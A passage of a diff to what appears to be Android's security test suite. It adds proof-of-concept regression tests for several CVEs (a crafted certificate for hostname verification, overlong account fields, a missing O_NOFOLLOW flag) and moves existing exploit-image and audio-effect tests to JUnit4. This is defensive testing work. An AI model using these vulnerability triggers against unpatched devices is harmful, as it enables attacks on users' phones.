+ + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+ + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+ + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+ + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+ + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+ + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
+ + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+ + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+ + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+ + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+ + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+ + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+ + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+ + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+ /**
+ * b/171980069
+ */
+ @AsbSecurityTest(cveBugId = 171980069)
+ @Test
+ public void testPocCVE_2021_0341() throws Exception {
+ CertificateFactory cf = CertificateFactory.getInstance("X.509");
+ assumeNotNull(cf);
+ HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+ assumeNotNull(verifier);
+ InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+ java.security.cert.X509Certificate x509 =
+ (java.security.cert.X509Certificate) cf.generateCertificate(in);
+ assumeNotNull(x509);
+ CVE_2021_0341_SSLSession session =
+ new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+ assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc711ecd..d43714208b9 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import dalvik.system.VMRuntime;
import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff7fdc..d4b0179d363 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.List;
@@ -34,7 +35,7 @@ import static org.junit.Assert.assertThat;
import static org.junit.Assume.assumeThat;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
private String TAG = "CVE_2021_0521";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37788b..b79070fdbec 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
private Instrumentation mInstrumentation;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 00000000000..0f44d8cc226
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 169762606)
+ @Test
+ public void testPocCVE_2021_0934() {
+ try {
+ // Creating an account with arguments 'name' and 'type' whose
+ // lengths are greater than 200
+ String name = new String(new char[300]).replace("\0", "n");
+ String type = new String(new char[300]).replace("\0", "t");
+ Account acc = new Account(name, type);
+ assumeNotNull(acc);
+
+ // Shouldn't have reached here, unless fix is not present
+ fail("Vulnerable to b/169762606, allowing account name/type "
+ + "with character count 300 whereas limit is 200");
+ } catch (Exception e) {
+ if (e instanceof IllegalArgumentException) {
+ // This is expected with fix
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 00000000000..0add1bd4007
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 200682135)
+ public void testPocCVE_2021_39663() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ ContentResolver contentResolver = context.getContentResolver();
+ try {
+ Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+ new ContentValues());
+ ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+ assumeNotNull(pfd);
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int flags = Os.fcntlInt(fd, F_GETFL, 0);
+ pfd.close();
+ contentResolver.delete(uri, null, null);
+ assumeTrue("Unable to read file status flags", flags > 0);
+ assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+ flags & O_NOFOLLOW);
+ } catch (ErrnoException | IOException e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6cec8e..23860530619 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.security.KeyStore;
import java.security.cert.Certificate;
@@ -32,7 +32,13 @@ import javax.net.ssl.TrustManager;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
private X509Certificate[] loadCertificates(int resource) throws Exception {
CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@ public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
}
@AsbSecurityTest(cveBugId = 26232830)
+ @Test
public void testIntermediateVerification() throws Exception {
X509TrustManager tm = getTrustManager();
X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802b0e9..16c8905afe9 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a large, corrupt BMP.
*
@@ -33,8 +40,9 @@ public class DecodeTest extends AndroidTestCase {
* decode.
*/
@AsbSecurityTest(cveBugId = 34778578)
+ @Test
public void test_android_bug_34778578() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
@@ -46,8 +54,9 @@ public class DecodeTest extends AndroidTestCase {
* decode.
*/
@AsbSecurityTest(cveBugId = 67381469)
+ @Test
public void test_android_bug_67381469() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef70233f0..2559094cfb9 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@ import android.media.audiofx.Equalizer;
import android.media.audiofx.PresetReverb;
import android.media.MediaPlayer;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@ import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.UUID;
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "EffectBundleTest";
private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32436341
@AsbSecurityTest(cveBugId = 32436341)
+ @Test
public void testEqualizer_getParamCenterFreq() throws Exception {
if (!hasEqualizer()) {
return;
@@ -58,6 +66,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32588352
@AsbSecurityTest(cveBugId = 32588352)
+ @Test
public void testEqualizer_getParamCenterFreq_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -67,6 +76,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32438598
@AsbSecurityTest(cveBugId = 32438598)
+ @Test
public void testEqualizer_getParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -76,6 +86,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32584034
@AsbSecurityTest(cveBugId = 32584034)
+ @Test
public void testEqualizer_getParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -85,6 +96,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32247948
@AsbSecurityTest(cveBugId = 32247948)
+ @Test
public void testEqualizer_getParamFreqRange() throws Exception {
if (!hasEqualizer()) {
return;
@@ -95,6 +107,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32588756
@AsbSecurityTest(cveBugId = 32588756)
+ @Test
public void testEqualizer_getParamFreqRange_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -105,6 +118,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32448258
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testEqualizer_getParamPresetName() throws Exception {
if (!hasEqualizer()) {
return;
@@ -114,6 +128,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32588016
@AsbSecurityTest(cveBugId = 32588016)
+ @Test
public void testEqualizer_getParamPresetName_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -155,6 +170,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32095626
@AsbSecurityTest(cveBugId = 32095626)
+ @Test
public void testEqualizer_setParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -171,6 +187,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32585400
@AsbSecurityTest(cveBugId = 32585400)
+ @Test
public void testEqualizer_setParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -187,6 +204,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32705438
@AsbSecurityTest(cveBugId = 32705438)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -197,6 +215,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32703959
@AsbSecurityTest(cveBugId = 32703959)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -207,6 +226,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 37563371 (short media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -217,6 +237,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 37563371 (long media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -227,6 +248,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 63662938
@AsbSecurityTest(cveBugId = 63662938)
+ @Test
public void testDownmix_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 63526567
@AsbSecurityTest(cveBugId = 63526567)
+ @Test
public void testEnvironmentalReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 67647856
@AsbSecurityTest(cveBugId = 67647856)
+ @Test
public void testPresetReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
@@ -478,36 +502,39 @@ public class EffectBundleTest extends InstrumentationTestCase {
UUID effectType, final int paramCodes[]) throws Exception {
boolean effectFound = false;
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- if (descriptor.type.compareTo(effectType) != 0) continue;
-
- effectFound = true;
- AudioEffect ae = null;
- MediaPlayer mp = null;
- try {
- mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
- java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class);
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ if (descriptor.type.compareTo(effectType) != 0) continue;
+
+ effectFound = true;
+ AudioEffect ae = null;
+ MediaPlayer mp = null;
try {
- ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
- /*priority*/ 0, mp.getAudioSessionId());
- } catch (Exception e) {
- // Not every effect can be instantiated by apps.
- Log.w(TAG, "Failed to create effect " + descriptor.uuid);
- continue;
- }
- java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class);
- for (int paramCode : paramCodes) {
- executeSetParameter(ae, command, intSize, 0, paramCode);
- executeSetParameter(ae, command, 0, intSize, paramCode);
- }
- } finally {
- if (ae != null) {
- ae.release();
- }
- if (mp != null) {
- mp.release();
+ mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+ java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class);
+ try {
+ ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
+ /*priority*/ 0, mp.getAudioSessionId());
+ } catch (Exception e) {
+ // Not every effect can be instantiated by apps.
+ Log.w(TAG, "Failed to create effect " + descriptor.uuid);
+ continue;
+ }
+ java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class);
+ for (int paramCode : paramCodes) {
+ executeSetParameter(ae, command, intSize, 0, paramCode);
+ executeSetParameter(ae, command, 0, intSize, paramCode);
+ }
+ } finally {
+ if (ae != null) {
+ ae.release();
+ }
+ if (mp != null) {
+ mp.release();
+ }
}
}
}
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054a2d9..0ceee07f446 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
package android.security.cts
-import android.app.Instrumentation
import android.graphics.Rect
import android.os.SystemClock
import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@ import androidx.test.core.app.ActivityScenario
import androidx.test.ext.junit.rules.ActivityScenarioRule
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@ private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Ca
* test code. The third approach requires adding an embedded window, and the code for that test was
* forked to avoid excessive branching.
*/
-class FlagSlipperyTest {
- private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
private lateinit var windowManager: WindowManager
@@ -132,10 +130,12 @@ class FlagSlipperyTest {
val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
SlipperyEnterBottomActivity::class.java)
+ constructor() : super()
+
@Before
fun setup() {
scenario = rule.getScenario()
- windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+ windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
WindowManager::class.java)
setDimensionsToQuarterScreen()
@@ -156,7 +156,7 @@ class FlagSlipperyTest {
// ========================== Regular window tests =============================================
private fun addWindow(slipperyWhenAdded: Boolean): View {
- val view = View(instrumentation.targetContext)
+ val view = View(getInstrumentation().targetContext)
scenario.onActivity {
view.setOnTouchListener(OnTouchListener(view))
view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@ class FlagSlipperyTest {
private lateinit var mVr: SurfaceControlViewHost
private fun addEmbeddedHostWindow(): SurfaceView {
- val surfaceView = SurfaceView(instrumentation.targetContext)
+ val surfaceView = SurfaceView(getInstrumentation().targetContext)
val surfaceCreated = CountDownLatch(1)
scenario.onActivity {
surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@ class FlagSlipperyTest {
embeddedViewDrawn.countDown()
}
layoutCompleted.set(false)
- val embeddedView = View(instrumentation.targetContext)
+ val embeddedView = View(getInstrumentation().targetContext)
scenario.onActivity {
embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@ class FlagSlipperyTest {
PollingCheck.waitFor {
layoutCompleted.get()
}
- instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+ getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
}
private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@ class FlagSlipperyTest {
}
val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
event.source = InputDevice.SOURCE_TOUCHSCREEN
- instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+ getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
}
companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f794c..91e39e8a5fe 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
*/
package android.security.cts;
+import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -25,14 +26,21 @@ import android.os.RemoteException;
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.IIsolatedService;
import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import com.android.internal.util.ArrayUtils;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
static final String TAG = IsolatedProcessTest.class.getSimpleName();
private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@ public class IsolatedProcessTest extends AndroidTestCase {
}
};
- @Override
+ private static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ @Before
public void setUp() throws InterruptedException {
mLatch = new CountDownLatch(1);
- Intent serviceIntent = new Intent(mContext, IsolatedService.class);
- mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+ Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+ getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
Assert.assertTrue("Timed out while waiting to bind to isolated service",
mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetCachedServicesFromIsolatedService() throws RemoteException {
String[] cachedServices = mService.getCachedSystemServices();
@@ -83,6 +96,7 @@ public class IsolatedProcessTest extends AndroidTestCase {
}
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetServiceFromIsolatedService() throws RemoteException {
for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@ public class IsolatedProcessTest extends AndroidTestCase {
}
}
+ @Test
public void testGetProcessIsIsolated() throws RemoteException {
Assert.assertFalse(Process.isIsolated());
Assert.assertTrue(mService.getProcessIsIsolated());
}
- @Override
+ @After
public void tearDown() {
- mContext.unbindService(mServiceConnection);
+ getInstrumentation().getContext().unbindService(mServiceConnection);
}
}
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b4275169539..4b8b178ab71 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.io.File;
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
/**
* b/27855172
*/
+ @Test
@AsbSecurityTest(cveBugId = 27855172)
public void test_cve_2016_2499() throws Exception {
MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce16101b02..3ab3bb2cbf8 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -24,13 +26,20 @@ import android.graphics.Paint;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
/**
* Verifies that decoding a particular GIF file does not read out out of bounds.
*
@@ -39,6 +48,7 @@ public class Movie33897722 extends AndroidTestCase {
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
@AsbSecurityTest(cveBugId = 33897722)
